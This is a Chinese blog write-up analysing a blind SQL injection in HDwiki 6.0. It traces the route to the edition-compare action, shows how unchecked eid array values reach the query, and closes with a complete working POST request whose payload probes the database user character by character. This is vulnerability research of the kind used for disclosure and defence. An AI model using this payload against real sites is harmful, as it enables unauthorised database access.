HDwiki6.0_sql盲注
漏洞触发:control/edition.php:147行
路由分析
从index.php入口文件查看cms路由构造和全局变量过滤情况。
跟进model/hdwiki.class.php:86行
第102行:只对get值进行过滤。
第107行:表明cms的路由情况。
执行Payload类与方法调用情况根据第103行与$control->$method();
进行
漏洞分析
所以漏洞触发点路由构造为:http://127.0.0.1/cms/HDwiki6.0/hdwiki/index.php?edition-compare
跟进漏洞触发:control/edition.php:147行以post形式传入的参数只对键为0,1进行整数判断。
并通过arrary_slice
取值传入sql中进行查询。
array_slice
array_slice ( array $array , int $offset [, int $length = NULL [, bool $preserve_keys = false ]] ) : array
array_slice() 返回根据 offset 和 length 参数所指定的 array 数组中的一段序列。
跟进model/doc.class.php:978行get_edition方法。当eid为数组直接传入,直接进行sql查询
Payload
POST /cms/HDwiki6.0/hdwiki/?edition-compare HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/cms/HDwiki6.0/hdwiki/?edition-compare
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: hd_sid=0thun8; hd_searchtime=1556181631; PHPSESSID=qpap19nk97soi6lfbo8ghp7oj2
Upgrade-Insecure-Requests: 1
Content-Length: 78
eid[2]=1&eid[3]=1) or if(ascii(substr(user(),1,1))=115,1,0)#&eid[0]=3&eid[1]=4
参考链接:
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!